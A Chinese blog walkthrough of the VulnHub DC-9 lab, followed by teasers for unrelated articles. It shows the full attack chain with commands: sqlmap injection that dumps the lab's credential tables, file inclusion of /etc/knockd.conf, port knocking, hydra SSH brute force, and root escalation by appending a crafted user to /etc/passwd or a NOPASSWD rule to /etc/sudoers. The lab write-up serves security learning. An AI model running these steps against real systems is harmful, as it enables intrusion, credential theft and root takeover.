DC-9靶场

news2024/11/25 20:56:40

一.环境搭建

1.下载地址

靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip

2.虚拟机配置

设置虚拟机为nat,遇到错误点重试和是

开启虚拟机如下图所示

 

二.开始渗透

1. 信息收集

查找靶机的ip地址

arp-scan -l

发现靶机的ip地址为192.168.111.137,攻击机(kali)的ip地址为192.168.111.128 

用nmap扫描其开启服务和端口

nmap -p- -sV 192.168.111.137

发现ssh和http服务打开 

用浏览器打开其http服务,如下图 

 发现一句提示,翻译一下看看

点击这个search,进行抓包

 发现此处存在sql注入

 2.sql注入

用sqlmap进行注入

sqlmap -u "http://192.168.111.137/results.php" --data "search=" --dbs

跑users表

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users --tables

 

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users -T UserDetails --dump

+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname   | password      | reg_date            | username  | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |
| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |
| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |
| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |
| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |
| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |
| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |
| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |
| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |
| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |
| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |
| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |
| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |
| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |
| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |
| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |
| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |
+----+------------+---------------+---------------------+-----------+-----------+

 下爆staff的

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff --tables

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T Users --dump

账号获取到了,密码被爆破出来了

看一下StaffDetails(这里虚拟机的http直接被访问到502了,重启一下靶机即可)

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T StaffDetails --dump

 利用之前获取到的账号密码admin/transorbital1进行用户登录

登录成功,下面显示file does not exist ,怀疑包含了某文件,所以尝试文件包含

看大佬的wp,访问该路径获取关键信息

http://192.168.111.137/welcome.php?file=../../../../../../../../../etc/knockd.conf

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn 

 这玩意也不知道啥意思,问问万能的ai吧

[openSSH]

  • sequence = 7469,8475,9842:接收到的 TCP 数据包的序列号序列,用于识别 SSH 连接尝试。
  • seq_timeout = 25:在指定时间(以秒为单位)内,如果收到序列号序列中的下一个序列号,则认为是有效的 SSH 连接尝试。
  • command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接尝试,则执行此命令。该命令将允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接。

[closeSSH]

  • sequence = 9842,8475,7469:与 [openSSH] 相同,但用于识别 SSH 连接关闭。
  • seq_timeout = 25:与 [openSSH] 相同。
  • command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接关闭,则执行此命令。该命令将删除允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接的规则。

knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。 

也就是说黑客进行直接扫描端口扫描不出来,只有进行固定knockd的访问才能打开
查看配置文件发现需要连续访问的端口,轮流敲这些端口

nmap 192.168.111.137 -p 7469
nmap 192.168.111.137 -p 8475
nmap 192.168.111.137 -p 9842

nmap -p 22 192.168.111.137

查看到ssh服务已经开启

3.ssh暴力破解

将前面sql注入出来的用户名和密码分别保存在users.txt和pass.txt 

将前面保存sqlmap自动保存的csv文件复制到物理机进行操作

users.txt

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

pass.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

 利用工具进行ssh账号密码爆破

hydra -L users.txt -P pass.txt 192.168.111.137 ssh

[22][ssh] host: 192.168.111.137   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.111.137   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.111.137   login: janitor   password: Ilovepeepee

4.获得shell

根据大佬wp可知,其他两个用户登录后无作用

登录janitor

ls -al

 查看到隐藏文件

cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

将这一串密码加入刚刚的爆破密码中,重新进行爆破,生成newpass.txt

 newpass.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

 重新进行爆破

hydra -l users.txt -P newpass.txt 192.168.111.137 ssh

爆破出一个新用户 

进行ssh连接 fredf/B4-Tru3-001

ssh fredf@192.168.111.137

5.提权

进行提权

sudo -l

列出sudo权限的命令,这里发现fred用户在NOPASSWD的情况下可以使用root权限运行这个test文件

 

cd到该目录下尝试运行,发现为python文件

找到这个test.py文件

find / -name test.py 2>/dev/null

查看文件

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

 发现代码作用需要两个文件,把第一文件追加到第二个文件后

openssl生成密码,前一个mlws为账号,后一个1900为要加密的密码

openssl passwd -1 -salt mlws 1900
$1$mlws$VPTJ3t70fTytbTKtREHSF1

 

把下面内容写入一个文件

echo 'mlws:$1$mlws$VPTJ3t70fTytbTKtREHSF1:0:0::/root:/bin/bash' >> /tmp/tiquan

使用test文件,将该文件的内容写入到passwd中

sudo ./test /tmp/tiquan /etc/passwd

切换账户

su mlws

成功提权

 

成功获取到最终的flag

三.其他

1.可以用knock命令直接对三个端口进行敲击

需要安装knock

knock 192.168.111.137 7469 8475 9842

2.提权可构造权限行,写入/etc/sudoers

echo "fredf ALL=(root) NOPASSWD:ALL" > /tmp/tq.txt
sudo /opt/devstuff/dist/test/test /tmp/tq.txt /etc/sudoers
sudo su root

一样可以提权成功 

至此dc1-9靶机全部完成

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1563473.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机网络面试问题(一)

1.在浏览器中输⼊URL并按下回⻋之后会发⽣什么 2.TCP三次握⼿的过程,为什么三次握手 TCP(传输控制协议)的三次握⼿是建⽴⽹络连接的过程,确保通信双⽅能够正确地进⾏数据传输。 第⼀次握⼿(SYN): 客户端&am…

从原理图到PCB全过程(嘉立创)1

1 将已经画好的原理图更新到PCB中(点击应用修改) 2 一开始PCB是杂乱的,需要回到原理图,框选各个模块,然后按住CtrlShiftX会自动在PCB显示这个部分,然后把各个部分分开 3 PCB画板需要有板框(嘉立创每个月都i…

2024年限时免费:申领一年免费二级域名

免费申领一年域名 onflashdrive.app,现已可转入 CloudFlare 托管! #注册账号 1、打开身份生成网站,然后按照图片下面所填写即可 邮箱填写自己的,密码必须包含大写字母 2、选择 New orders 3、点击选择产品–>Domain 4、输入…

GT收发器第六篇_GT channel内部时钟关系

文章目录 一、TX端时钟二、RX端时钟 一、TX端时钟 TX端可分为4个区域,分别为FPGA TX接口、PCS靠FPGA侧、PCS靠PMA侧、PMA,如下图。GTX/GTH发射器包括TXBUFFER和TX相位校准电路,以解决时钟域之间的相位差。TX相位校准电路用于TXBUFFER被旁路时…

【THM】Passive Reconnaissance(被动侦察)-初级渗透测试

介绍 欢迎来到网络安全模块的第一个房间,该模块涵盖: 1.被动侦察 2.主动侦察 3.Nmap实时主机发现 4.Nmap基本端口扫描 5.Nmap高级端口扫描 6.Nmap后端口扫描 7.协议和服务器 8.协议和服务器2 9.网络安全挑战 在这个房间里,在我们定义被动侦察和主动侦察之后,我们…

windows linux 安装 nvm

windows 一、下载nvm-windows 前往github https://github.com/coreybutler/nvm-windows 进入latest 往下滑下载nvm-setup.exe 二、下载好后直接一直点击下一步就好。 检查一下 nvm -v ,会输出版本号 附带常用命令 nvm install 10.15.3 安装v10.15.3版本 nvm u…

基于python爬虫与数据分析系统设计

**单片机设计介绍,基于python爬虫与数据分析系统设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于Python爬虫与数据分析系统的设计是一个结合了网络数据抓取、清洗、存储和数据分析的综合项目。这样的系统通常…

总结TCP协议各类知识点

前言 本篇博客博主将详细地介绍TCP有关知识点,坐好板凳发车啦~ 一.TCP特点 1.有连接 TCP传输的过程中类似于打电话的各个过程 2.可靠传输 通过TCP自身的多种机制来保证可靠传输 3.面向字节流 内容是以字节的方式来进行发送与接收 4.缓冲区 TCP有接收缓冲区…

Vue基础配置、组件通信、自定义指令

基础配置 Vue框架已经集成了webpack配置 小注意点 vbase 快速生成vue模板 组件名必须是多词格式(驼峰模式) 具体三种写法: ①小驼峰:abcDef.vue ②大驼峰:AbcDef.vue ③中横线:abc-def.vue 假如文件名不符合多次格式的补救办法: 导出重命名…

154 Linux C++ 通讯架构实战9 ,信号功能添加,信号使用sa_sigaction 回调,子进程添加,文件IO详谈,守护进程添加

初始化信号 使用neg_init_signals(); 在nginx.cxx中的位置如下 //(3)一些必须事先准备好的资源,先初始化ngx_log_init(); //日志初始化(创建/打开日志文件),这个需要配置项,所以必须放配置文件载入的后边;//(4)一些初…

Appium无线自动化实用教程

文章目录 简介核心特点工作原理使用Appium进行自动化测试的一般步骤 环境设置安装和启动Appium Server使用Node.js和npm安装Appium Server:启动Appium Server:命令行启动使用Appium Desktop安装和启动Appium Server:使用代码启动appium server 编写测试代…

矩阵的组合

重构 将原始矩阵,重构形状 例如,下图中,将AB重构为一个新的矩阵,CD重构为一个新的矩阵,EF重构为一个新的矩阵,GH重构为一个新的矩阵。 MATLAB实现 clc; clearvars; close all;X1=1:64; X1=reshape(X1,8,8)

基于YOLOv8/YOLOv5的人脸表情识别系统(附完整资源+PySide6界面+训练代码)

本篇博客呈现了一种基于深度学习的人脸表情识别系统,并详细展示了其实现代码。系统采纳了领先的YOLOv8算法,并与YOLOv7、YOLOv6、YOLOv5等早期版本进行了比较,展示了其在图像、视频、实时视频流及批量文件中识别人脸表情的高准确度。文章深入…

PostgreSql 01 安装,创建用户,创建数据库,创建关系

01.安装postgresql postgreSql 是在linux上 去官网找按照的方式 选择好postgreSql 的版本,已经Linux的发行版本 拿到命令,直接扔到Linux中运行即可 # 下载PGSQL的rpm包 sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpm…

【核心复现】同时考虑考虑孤岛与重构的配电网故障恢复运行策略

目录 主要内容 内容详情 1.问题引出 2.可控负荷 3.网络拓扑约束 4.算法流程 结果一览 1.原文结果 2.程序运行结果 下载链接 主要内容 该模型复现文章《同时考虑考虑孤岛与重构的配电网故障恢复运行策略》,以IEEE33配电网为分析对象,…

Flutter应用在苹果商店上架前的准备工作与注意事项

引言 🚀 Flutter作为一种跨平台的移动应用程序开发框架,为开发者提供了便利,使他们能够通过单一的代码库构建出高性能、高保真度的应用程序,同时支持Android和iOS两个平台。然而,完成Flutter应用程序的开发只是第一步…

智能电表如何在新能源发电领域发挥作用

智能电表具备自动计量计费和数据传输功能,这使其成为配用电管理的核心设备。在新能源发电领域,智能电表能够实时监测和计量新能源发电设备的发电量,确保电能的质量和安全。同时,通过数据传输功能,智能电表可以将新能源…

[云呐]固定资产盘点报告哪个部门写

固定资产盘点报告通常由哪个部门来完成和签发呢?总体来说,固定资产盘点报告主要由资产管理部门或核算部门具体组织拟定并与财务部门共同签发。个别重大报告还需要上级领导或委员会研讨通过。  资产管理部门:  资产管理部门是直接负责公司固定资产管理工作的核心部门,它主导…

网络钓鱼升级 Darcula如何窃取用户信息

近日,网络安全领域一种名为 “Darcula” 的网络钓鱼欺诈(PhaaS)悄然兴起。这种新型钓鱼方式不同于传统的手段,它巧妙地利用了谷歌信息和 iMessage 的富通信服务(RCS),成为了网络犯罪分子的新手段…

分享一种快速移植OpenHarmony Linux内核的方法

移植概述 本文面向希望将 OpenHarmony 移植到三方芯片平台硬件的开发者,介绍一种借助三方芯片平台自带 Linux 内核的现有能力,快速移植 OpenHarmony 到三方芯片平台的方法。 移植到三方芯片平台的整体思路 内核态层和用户态层 为了更好的解释整个内核…